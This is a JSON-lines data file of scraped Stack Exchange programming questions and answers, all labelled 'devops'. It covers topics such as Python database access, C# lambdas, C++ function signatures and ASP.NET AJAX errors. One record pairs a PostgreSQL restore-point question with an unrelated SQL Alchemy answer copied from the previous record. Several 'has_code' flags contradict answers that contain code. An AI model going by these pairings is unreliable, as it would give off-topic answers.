{"id": "hf_99905d8bf854", "question": "<p>I've got mssql 2005 running on my personal computer with a database I'd like to run some python scripts on. I'm looking for a way to do some really simple access on the data. I'd like to run some select statements, process the data and maybe have python save a text file with the results.</p>\n\n<p>Unfortunately, even though I know a bit about python and a bit about databases, it's very difficult for me to tell, just from reading, if a library does what I want. Ideally, I'd like something that works for other versions of mssql, is free of charge and licensed to allow commercial use, is simple to use, and possibly works with ironpython.</p>\n", "question_body": "", "answer": "I use\nSQL Alchemy\nwith cPython (I don't know if it'll work with IronPython though).  It'll be pretty familiar to you if you've used Hibernate/nHibernate.  If that's a bit too verbose for you, you can use\nElixir\n, which is a thin layer on top of SQL Alchemy.  To use either one of those, you'll need\npyodbc\n, but that's a pretty simple install.\nOf course, if you want to write straight SQL and not use an ORM, you just need pyodbc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.294069"}
{"id": "hf_76a4e686cbfe", "question": "<p>I want to automate tests on my web application, and it uses postgresql. Does anyone know how define a restore point on a postgresql database and restore to an earlier state?\nI heard something about point in time recovery, but i dont if this is what i need.</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "I use\nSQL Alchemy\nwith cPython (I don't know if it'll work with IronPython though).  It'll be pretty familiar to you if you've used Hibernate/nHibernate.  If that's a bit too verbose for you, you can use\nElixir\n, which is a thin layer on top of SQL Alchemy.  To use either one of those, you'll need\npyodbc\n, but that's a pretty simple install.\nOf course, if you want to write straight SQL and not use an ORM, you just need pyodbc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.318577"}
{"id": "hf_fb13a6f29344", "question": "<p>Given the following class: </p>\n\n<pre><code>class TestClass {\n  public void SetValue(int value) { Value = value; }\n  public int Value { get; set; }\n}\n</code></pre>\n\n<p>I can do </p>\n\n<pre><code>TestClass tc = new TestClass();\nAction&lt;int&gt; setAction = tc.SetValue;\nsetAction.Invoke(12);\n</code></pre>\n\n<p>which is all good. Is it possible to do the same thing using the property instead of the method? Preferably with something built in to .net. </p>\n", "question_body": "", "answer": "Properties are really wrappers around methods in .Net, so using reflection you should be able to get the delegate (set_PROPERTY and get_PROPERTY) and then execute them...\nSee\nSystem.Reflection.PropertyInfo\nIf has two methods which you can use to get/ set the value - GetGetMethod and GetSetMethod.\nSo you could write:\n```\n```\nvar propertyInfo = typeof (TestClass).GetProperty (\"Value\");\n\nvar setMethod = property.GetSetMethod (); // This will return a MethodInfo class.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.344526"}
{"id": "hf_bc98a27ec278", "question": "<p>What does \"Overloaded\"/\"Overload\" mean in regards to programming?</p>\n", "question_body": "", "answer": "It means that you are providing a function (method or operator) with the same name, but with a different signature.\nFor example:\n```\n```\nvoid doSomething();\nint doSomething(string x);\nint doSomething(int a, int b, int c);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.380615"}
{"id": "hf_c63dbd3bb777", "question": "<p>I distribute my application using a VS2008 install package, which normally works great.  When I create new versions of the app, I go in and increment the <code>Version</code> property on the install package and verify the <code>RemovePreviousVersions</code> property is set to True.</p>\n\n<p>This works just fine most of the time - I just run the install package for the newer version and the older version is uninstalled and the newer version replaces it.</p>\n\n<p>However, occasionally the install package will run successfully, but when I start the program the old version starts up.  Apparently the old version of the .exe is still present.</p>\n\n<p>I end up having to completely uninstall the software and install the new version, which always works, but is a pain.</p>\n\n<p>The file isn't in use as far as I can tell and the install package doesn't tell me to reboot.</p>\n\n<p>Any ideas about what's going on here?</p>\n", "question_body": "", "answer": "Not a direct answer, but the key difference between an upgrade and an uninstall+ a reinstall is that any custom uninstall steps are not called in 2k8 but are in 2k5.\nThis is referenced in\nVisual Studio 2005 -> 2008/10 Service Installer Project Upgrade issue\nThe other difference related to this is that in 2k8, the files get upgraded based on the version info resource - if your modules dont have newer versions, they dont get replaced.\nIn some cases whether you strong name also has effects, but I'm pretty confident the last paragraph covers the issue you're seeing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.416006"}
{"id": "hf_f1c079d54a3e", "question": "<p>In C++, is the return type considered part of the function signature? and no overloading is allowed with just return type modified.</p>\n", "question_body": "", "answer": "Normal functions do not include the return type in their signature.\n(\nnote\n: i've rewritten this answer, and the comments below don't apply to this revision - see the edit-history for details).\nIntroduction\nHowever, the matter about functions and function declarations in the Standard is complicated. There are two layers that have to be considered:\nDeclarations\nEntities\nThe so-called\nfunction declaration\nmay declare a function entity or a template entity. If a function entity is declared, then you either have to do with an explicit specialization of a function template (with all arguments specified), or a declaration of an ordinary function. If a template entity is declared, then you are declaring a primary function template, or an explicit specialization where some arguments are not specified. (This is very similar to the relation of \"object declaration\" and objects or references: The former may declare either an object or a reference. So an\nobject declaration\nmay not necessarily declare an object!).\nThe Standard defines the signature of a function to include the following at\n```\n1.3.10\n```\n:\nThe types of its parameters and, if the function is a class member, the cv- qualifiers (if any) on the function itself and the class in which the member function is declared. The signature of a function template specialization includes the types of its template arguments. (14.5.5.1)\nIt's missing the return type in this definition, which\nis\npart of the signature of a function template specialization (i.e a function declaration that declares a function which is a specialization of a template), as pointed out by\n```\n14.5.5.1\n```\n(recent C++0x working papers fixed that already to mention the return type in\n```\n1.3.10\n```\ntoo):\nThe signature of a function template specialization consists of the signature of the function template and of the actual template arguments (whether explicitly specified or deduced).\nThe signature of a function template consists of its function signature, its return type and its template parameter list.\nSo what exactly does a signature contain, again?\nSo, when we ask about the signature of a\nfunction\n, we have to give two answers:\nFor functions that are specializations of function templates, the signature includes the return type.\nFor functions that are not specializations, the return type is not part of the signature.\nNotice, however, that the return type, in any case,\nis\na significant part of the type of a function. That is, the following is not valid:\n```\n```\nvoid f();\nint (*pf)() = &f; // different types!\n```\n```\nWhen is an overload invalid if only the return type differs?\nMajor compilers currently reject the following code:\n```\n```\nint f();\ndouble f(); // invalid\n```\n```\nBut accept the following code:\n```\n```\ntemplate<typename T> int f();\ntemplate<typename T> double f(); // invalid?\n```\n```\nHowever, the\nStandard does forbid a function declaration that only differs in the return type\n(when defining when an overload is valid, and when not). It does not define precisely what \"differs only by return type\" means, though.\nStandard paragraph references:\nWhen can a function declaration be overloaded:\n```\n13.1\n```\nWhat is a function declaration:\n```\n7/2\n```\nand\n```\n7/5\n```\nWhat is the signature of a function template/specialization:\n```\n14.5.5.1\n```\nFor reference, here is what the most recent C++0x draft n3000 says about \"signature\" in\n```\n1.3.11\n```\n, which is much more complete in its coverage of the different type of entities:\nthe name and the parameter type list (8.3.5) of a function, as well as the class or namespace of which it is a member. If a function or function template is a class member its signature additionally includes the cv-qualiﬁers (if any) and the ref-qualiﬁer (if any) on the function or function template itself. The signature of a function template additionally includes its return type and its template parameter list. The signature of a function template specialization includes the signature of the template of which it is a specialization and its template arguments (whether explicitly speciﬁed or deduced). [ Note: Signatures are used as a basis for name mangling and linking. — end note ]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.498448"}
{"id": "hf_133496a9f69f", "question": "<p>I’m trying to make the routing module works with default action or controller, but it doesn’t. I always face with 404 page not found. Did I forget to do something? I really like routing in ASP.NET MVC feature, but I’m not sure I could do the same in MR. I’m using IIS7 with the build from castle trunk for .NET 3.5.</p>\n", "question_body": "", "answer": "How are you configuring the routing? I had issues myself when trying to manage the routing-rules from web.config, but moving it to inline-code on application-start worked for me.\nI tried to find an answer to why the xml-way didn't work, but never found one. They made a major rewrite of the routing-engine since RC3, that might have broken it.\nExample from Application_OnStart()\n```\nvar rule = new PatternRoute( \"default\", \"/\" )\n    .DefaultForController().Is()\n    .DefaultForAction().Is( \"index\" );\n\nRoutingModuleEx.Engine.Add( rule );\n```\nRemember to load the RoutingEngineModule before the MonoRailHandler in web.config.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.524223"}
{"id": "hf_c37af6c7d6b8", "question": "<p>I have an have an ASP.Net page which contains a button. This Page contains a ServerSide Paypal button.</p>\n\n<p>When pushed my server does various clever things on the back end and then rewrites the response as a form and some javascript which posts this form to paypal..</p>\n\n<p>This all works great.</p>\n\n<p>However, if the user then elects to click back, they will arrive at my generated self-posting form and that will forward them again to Paypal. </p>\n\n<p>I thought if I could find a way to have my generated form page not exist in the history, then this will solve my problem. but I have no idea how to correct this.</p>\n\n<p><strong>How can I remove my page from the history or just have it never appear?</strong></p>\n\n<p>Update: Thanks to all... Those are some great answers. Upvoted all good ones but went with splattne on account of clever use of hidden field rather than cookies for basis of decision.</p>\n", "question_body": "", "answer": "As a web application, you'll never have full control of the user's browser.  Even if there was a way to instruct the browser to not store the page in history, which I doubt, you can't be sure it'll work.  For example, a clever user could tweak an open-source browser to store every page in history, no matter what.\nI think you should try to approach the problem from another angle.  You could, for example, detect that it's the same form which is being forwarded and not send it to paypal the second time.  The important thing is to do it server-side.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.564571"}
{"id": "hf_3b0a7df4f7ae", "question": "<p>I just came over this syntax in some of the questions in this forum, but Google and any other searchengine tends to block out anything but letters and number in the search so it is impossible to search out \"=>\".</p>\n\n<p>So can anyone tell me what it is and how it is used? </p>\n", "question_body": "", "answer": "It's the lambda operator.\nFrom C# 3 to C# 5, this was only used for\nlambda expressions\n. These are basically a shorter form of the\nanonymous methods\nintroduced in C# 2, but can also be converted into\nexpression trees\n.\nAs an example:\n```\n```\nFunc<Person, string> nameProjection = p => p.Name;\n```\n```\nis equivalent to:\n```\n```\nFunc<Person, string> nameProjection = delegate (Person p) { return p.Name; };\n```\n```\nIn both cases you're creating a delegate with a\n```\nPerson\n```\nparameter, returning that person's name (as a string).\nIn C# 6 the same syntax is used for\nexpression-bodied members\n, e.g.\n```\n```\n// Expression-bodied property\npublic int IsValid => name != null && id != -1;\n\n// Expression-bodied method\npublic int GetHashCode() => id.GetHashCode();\n```\n```\nSee also:\nWhat's the difference between anonymous methods (C# 2.0) and lambda expressions (C# 3.0)\nWhat is a Lambda?\nC# Lambda expression, why should I use this?\n(And indeed many similar questions - try the\nlambda\nand\nlambda-expressions\ntags.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.588917"}
{"id": "hf_5c879f332794", "question": "<p>I've some experiences on build application with Asp.Net, but now MVC frameworks become more popular. I would like to try building new multilingual web application using with Asp.Net MVC or Castle MonoRail but I don't know which one is good for me. I don't like the web form view engine, but I like routing feature in Asp.Net MVC.</p>\n\n<ul>\n<li>Could anyone tells about pros and cons between those?</li>\n<li>Which ViewEngine is the better as well for overriding the master template?</li>\n</ul>\n", "question_body": "", "answer": "MonoRail and ASP.NET MVC are fundamentally very similar, you should be well off using either one of them. MonoRail has existed much longer and has therefore more higher level features.\nThe main strength of ASP.NET MVC is it's routeing engine, to be fair MonoRail has pretty much an equivalent routing engine, and with some modification you can use the ASP.NET MVC routing engine with MonoRail as the routing engine is not really in ASP.NET MVC but in System.Web.Routing (Released in .NET 3.5 SP1). ASP.NET MVC and integration with Visual studio is also a plus, and will probably get better as we approach RTM of v1.\nThe MvcContrib project contains some great view engines, like Spark, NHaml and Brail. No one could be considered \"Best\", A personal favourite is Spark. For more on spark:\nhttp://dev.dejardin.org/documentation/syntax\nThe WebForms engine has intellisense which is a great advantage that to my knowledge all alternative view engines lack.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.641553"}
{"id": "hf_def77612c6ff", "question": "<p>I'm a bit new to jQuery and hope somebody can help me out.</p>\n\n<p>I'm trying to change an element (li) to another element (div) after the (li) has been dropped.</p>\n\n<p>Sample code:</p>\n\n<pre><code>$(\"#inputEl&gt;li\").draggable({ \n    revert: true, \n    opacity: 0.4,\n    helper: \"clone\"\n});\n$(\"#dropEl\")\n    .droppable({ \n        accept: \".drag\",\n        hoverClass: \"dropElhover\",\n        drop: function(ev, ui) {\n            // change the li element to div here\n        }\n});\n</code></pre>\n\n<p>The problem is, when i use</p>\n\n<pre><code>drop: function(ev, ui) {\n     $(ui.draggable).replaceWith(\"&lt;div&gt;Some content&lt;/div&gt;\");\n}\n</code></pre>\n\n<p>the original draggable elements will be disabled when the function above is triggered.</p>\n\n<p>I'm using the latest jQuery and jQuery UI stable versions.</p>\n", "question_body": "", "answer": "So, what you want is to keep your original list intact and drop list items into dropEl?\nHow about this:\n```\n```\ndrop: function(ev,ui) {\n     $(this).append(\"<div>Some content</div>\");\n}\n```\n```\nOr, if you want to replace the list elements with a div element and also have the div element draggable, you could try this:\n```\n```\ndrop: function(ev, ui) {\n        $(ui.draggable).replaceWith(\"<div>Some content</div>\");\n        $(\"#inputEl>div\").draggable({ \n            revert: true, \n            opacity: 0.4,\n            helper: \"clone\"\n        });\n    }\n```\n```\nThe original draggable call only makes items draggable at the time it is called.  If you change or add elements and want them to be draggable, you will need to call the draggable() function again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.665760"}
{"id": "hf_9d186e0dc8cb", "question": "<p>My organization is using CppUnit and I am trying to run the same test using different parameters. Running a loop inside the test is not a good option as any failure will abort the test. I have looked at <code>TestDecorator</code> and <code>TestCaller</code> but neither seems to really fit. Code samples would be helpful.</p>\n", "question_body": "", "answer": "I'm not a C++ programmer but I can help with the unit-test concept:\nTest-cases are meant to run isolated and with no dependency on external parameters. Additionally you should keep the number of test-cases down to the minimum which covers most of your code. There are cases, however (and I have already dealt with some), where some tests look the same, differing only by some minor parameters. The best bet then is to write a\nfixture\nwhich takes the parameter you're talking about, and then have one test-case for each of the parameters, calling the fixture with it. A generic example follows:\n```\n```\nclass MyTestCase\n\n  # this is your fixture\n  def check_special_condition(param)\n    some\n    complex\n    tests\n  end\n\n  # these are your test-cases\n  def test_1\n    check_special_condition(\"value_1\")\n  end\n\n  def test_2\n    check_special_condition(\"value_2\")\n  end\n\nend\n```\n```\nOtherwise you're not writing true test-cases, because they're supposed to be reproducible without much knowledge from the one who is executing them. I imagine there are a handful of parameters which are all important as input to the tests. Then why not make each one explicit inside its own test-case? That's also the best way to document then, instead of writing a separate document to guide the programmer which will read the code years later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.689933"}
{"id": "hf_319f5dfb604b", "question": "<p>I have a Panel and I am adding controls inside this panel.  But there is a specific control that I would like to float. How would I go about doing that?</p>\n\n<p>pnlOverheadDetails is the panel name</p>\n\n<pre><code>pnlOverheadDetails.Controls.Add(lnkCalcOverhead);\n</code></pre>\n\n<p>The control named lnkCalcOverhead is the control I'd like to float.</p>\n\n<p>Thanks in advance</p>\n\n<p>EDIT: By float I meant the css style not anything fancy :)</p>\n", "question_body": "", "answer": "If you have a CSS class defined for the control, you could do this before calling the\n```\nControls.Add\n```\nmethod:\n```\n```\nlnkCalcOverhead.CssClass = \"MyClass\";\n```\n```\nIf you want to use the style attribute directly, try this:\n```\n```\nlnkCalcOverhead.Style.Add(\"float\", \"left\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.717646"}
{"id": "hf_0d631f521291", "question": "<p>I'm trying to create number of Evenement instances and set the date for them:</p>\n\n<pre><code>   for (int i=2004; i&lt;2009; i++){\n           evenementen.add(new Evenement(\"Rock Werchter\", \"Rock\", \"Werchter\", 200000,\n                           (Date)formatter.parse(i+\"/07/03\")));\n</code></pre>\n\n<p>But I can't seem to get it to work,</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "You may want to use Calendar to create your dates.\n```\n```\nfor (int i=2004; i<2009; i++) {\n    Calendar cal = Calendar.getInstance();\n    cal.clear();\n    // Calendar.JULY may be different depending on the JDK language\n    cal.set(i, Calendar.JULY, 3); // Alternatively, cal.set(i, 6, 3); \n    evenementen.add(new Evenement(\"Rock Werchter\", \"Rock\", \"Werchter\", 200000,\n            cal.getTime()));\n}\n```\n```\nNote that the months are zero-based, so July is 6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.742294"}
{"id": "hf_6f42fe0a5695", "question": "<p>My website has been giving me intermittent errors when trying to perform <em>any</em> Ajax activities.  The message I get is</p>\n\n<pre><code>Sys.WebForms.PageRequestManagerParserErrorException: The message received from the server could not be parsed. Common causes for this error are when the response is modified by calls to Response.Write(), response filters, HttpModules, or server trace is enabled.\n\nDetails: Error parsing near '\n\n&lt;!DOCTYPE html P'.\n</code></pre>\n\n<p>So its obviously some sort of server timeout or the server's just returning back mangled garbage.  This generally, unfortunately not always, happe</p>\n", "question_body": "", "answer": "There is an excellent blog entry by Eilon Lipton. It contains of lot of tips on how to avoid this error:\nSys.WebForms.PageRequestManagerParserErrorException - what it is and how to avoid it\nRead the comments too. There is a comment of somebody with the same problem: \"\nI solved it changing server idle time of my app pool on IIS\n. It was only 5, so I incremented it and now works.\"\n\"The UpdatePanel control uses asynchronous postbacks to control which parts of the page get rendered. It does this using a whole bunch of JavaScript on the client and a whole bunch of C# on the server.\nAsynchronous postbacks are exactly the same as regular postbacks except for one important thing: the rendering. Asynchronous postbacks go through the same life cycles events as regular pages (this is a question I get asked often).\nOnly at the render phase do things get different. We capture the rendering of only the UpdatePanels that we care about and send it down to the client using a special format. In addition, we send out some other pieces of information, such as the page title, hidden form values, the form action URL, and lists of scripts.\"\nMost common reasons for that error:\nCalls to Response.Write():\nResponse filters\nHttpModules\nServer trace is enabled\nCalls to Server.Transfer()", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.766877"}
{"id": "hf_2b9f794679d4", "question": "<p>We've all read the benchmarks and know the facts - event-based asynchronous network servers are faster than their threaded counterparts.  Think lighttpd or Zeus vs. Apache or IIS. Why is that?</p>\n", "question_body": "", "answer": "I think event based vs thread based is not the question - it is a nonblocking Multiplexed I/O, Selectable sockets, solution vs thread pool solution.\nIn the first case you are handling all input that comes in regardless of what is using it- so there is no blocking on the reads- a single 'listener'.  The single listener thread passes data to what can be worker threads of different types- rather than one for each connection.  Again, no blocking on writing any of the data- so the data handler can just run with it separately.  Because this solution is mostly IO reads/writes it doesn't occupy much CPU time- thus your application can take that to do whatever it wants.\nIn a thread pool solution you have individual threads handling each connection, so they have to share time to context switch in and out- each one 'listening'.  In this solution the CPU + IO ops are in the same thread- which gets a time slice- so you end up waiting on IO ops to complete per thread (blocking) which could traditionally be done without using CPU time.\nGoogle for non-blocking IO for more detail- and you can prob find some comparisons vs. thread pools too.\n(if anyone can clarify these points, feel free)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.791900"}
{"id": "hf_3fcf5706963b", "question": "<p>I am developing an application for PocketPC. When the application starts the custom function SetScreenOrientation(270) is called which rotates the screen. When the application closes the function SetScreenOrientation(0) is called which restores the screen orientation.</p>\n\n<p>This way the screen orientation isn't restored if the user minimizes the application and this is not acceptable.</p>\n\n<p>Does anyone know where (in which event handlers) should SetScreenOrientation(int angle) be called to set the screen orientation on application start, restore orientation on minimize, set the orientation on maximize and restore the orientation on close?</p>\n\n<p>Actually I don't know which event handler handles the Minimize and Maximize event.</p>\n", "question_body": "", "answer": "I don't know what these are called in the C++ world, but in .NET Compact Framework your application form's Resize event would be called when you minimize/maximize a window, and then in the event code you would check the WindowState property of the form to see if its minimized or mazimized.\nAltering the state of your PDA from within your application is risky (although there are lots of good reasons to do it), because if your app crashes it will leave the PDA in whatever state it was in.  I've done a lot of kiosk-type (full-screen) apps in Windows Mobile, and one of the tricks to doing this effectively is to hide the WM title bar (the top row with the Windows start button) to keep it from flashing up for a split second every time you open a new form.  If the app crashes, the windows bar remains invisible until you reset the device, which isn't good.  At least with screen rotation the user can restore it manually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.835086"}
{"id": "hf_a68b5d90102e", "question": "<p>I would like to implement a sliding notification bar as the one in Firefox or IE for my java application. But I don't want to reinvent the wheel and I'm sure someone out there has already done it and is willing to share.\nDo you know any open-source implementation of this in java/swing?</p>\n", "question_body": "", "answer": "There's an example in\nSwing Hacks\ncalled \"Slide Notes Out from the Taskbar\" that seems pretty close to what you want (there's a\npreview\non Google's Book Search at the moment).\nThe code is freely available from the\nofficial O'Reilly Swing Hacks page\n, under \"examples.\"  Not sure what the license is, but it's worth a look (Chapter 6, hack 46).  At any rate, Swing Hacks is a worthy purchase at ~$20.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.931347"}
{"id": "hf_7fab97c2023c", "question": "<p>Is it possible to retrieve variable set in <code>onreadystatechange</code> function from outside the function?\n<bR>--edit--<BR>\nRegarding execution of functions:<BR>\nIf its possible i would like to execute ajaxFunction()  with one click<BR>\n and then popup() with next click, or \nsomehow wait for ajax function to end and then call for alert box<BR></p>\n\n<p><BR>In pseudocode:</p>\n\n<pre><code>function ajaxFunction(){\n    //creating AJAX \n    ...\n    // Create a function that will receive data sent from the server\n    ajaxRequest.onreadystatechange = function (){\n        if(ajaxRequest.readyState == 4){\n            //success code\n            ======&gt;Here i want to set variable &lt;=====\n            var MyVariable='MyContent';\n        }\n    }\n    //Retrieving page\n    ....\n}\n\nfunction popup(){\n    ajaxFunction();\n    alert(MyVariable);\n}\n</code></pre>\n", "question_body": "", "answer": "Why not change\n```\nMyVariable\n```\n's scope to outside of the function?\n```\n```\nvar MyVariable;    \nfunction ajaxFunction(){\n    //creating AJAX \n     ...\n    // Create a function that will receive data sent from the server\n    ajaxRequest.onreadystatechange = function (){\n        if(ajaxRequest.readyState == 4){\n            //success code\n            ======>Here i want to set variable <=====\n            MyVariable='MyContent';\n        }\n    }\n    //Retrieving page\n     ....\n}\n\nfunction popup(){\n    ajaxFunction();\n    alert(MyVariable);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.967590"}
{"id": "hf_1b981f9300df", "question": "<p>What is the difference between HTML <code>&lt;input type='button' /&gt;</code> and <code>&lt;input type='submit' /&gt;</code>?</p>\n", "question_body": "", "answer": "```\n<input type=\"button\" />\n```\nbuttons will not submit a form - they don't do anything by default. They're generally used in conjunction with JavaScript as part of an AJAX application.\n```\n<input type=\"submit\">\n```\nbuttons will submit the form they are in when the user clicks on them, unless you specify otherwise with JavaScript.\nThe first submit button of the form is also the one being clicked for\nimplicit submission\n, f.e. by pressing enter in a text input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:23.991427"}
{"id": "hf_34dc79da5086", "question": "<p>I have a query that works on Postgresql 7.4 but not on Postgresql 8.3 with same database.</p>\n\n<p>Query:</p>\n\n<pre><code>SELECT * FROM login_session WHERE (now()-modified) &gt; timeout;\n</code></pre>\n\n<p>Gets the following error:</p>\n\n<pre><code>ERROR:  operator does not exist: interval &gt; integer\nLINE 1: ...ELECT * FROM login_session WHERE (now()-modified) &gt; timeout ...\n                                                             ^\nHINT:  No operator matches the given name and argument type(s). You might need to add explicit type casts.\n</code></pre>\n\n<p>Column <code>modified</code> is a <code>timestamp</code> and <code>timeout</code> is an <code>integer</code>.</p>\n\n<p>Is there some settings I need to change on server?</p>\n\n<p>I'm installing an application for a client on new server (ubuntu) so I can't change queries in the application.</p>\n", "question_body": "", "answer": "There are a lot of changes between 7.4 and 8.3. Some of the most drastic were the removal of some automatic casts.\nI suppose the \"timeout\" is in seconds? If so you could change the query to:\n```\n```\nSELECT\n    *\nFROM\n    login_session\nWHERE\n    (CURRENT_TIMESTAMP - modified) > (timeout * '1 sec'::interval);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.027365"}
{"id": "hf_a9396bc6a98b", "question": "<p>What is the equivalent of Java's <code>System.currentTimeMillis()</code> in C#?</p>\n", "question_body": "", "answer": "The framework doesn't include the old seconds (or milliseconds) since 1970. The closest you get is DateTime.Ticks which is the number of 100-nanoseconds since january 1st 0001.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.055396"}
{"id": "hf_6a1a0c0644bd", "question": "<p>What do you use as a test client for your stateful web services? Is it possible to use SoapUI? Are there best practices in this area?</p>\n", "question_body": "", "answer": "I don't know whether it's practical to do this with SoapUI, but I've done things like this with both iTKO LISA and Parasoft SOATest.  It wasn't for testing stateful web services, but simply executing multiple testing steps, storing results that are used in following steps.  Both LISA and SOATest have the ability to define steps in the GUI that can store pieces of responses that are used in later requests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.079273"}
{"id": "hf_6e5dad674cfd", "question": "<p>I'm trying to do something that gets a cs file in runtime from user make it meaningful to assembly get its properties, methods etc. </p>\n\n<p>Is there a way to do this by reflection in C#?</p>\n", "question_body": "", "answer": "You can compile it reasonably easily using the\nCSharpCodeProvider\n. You can download the source code for my snippet compiler, Snippy, from the\nC# in Depth web site\n. That uses CSharpCodeProvider, so you could use it as sample code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.115110"}
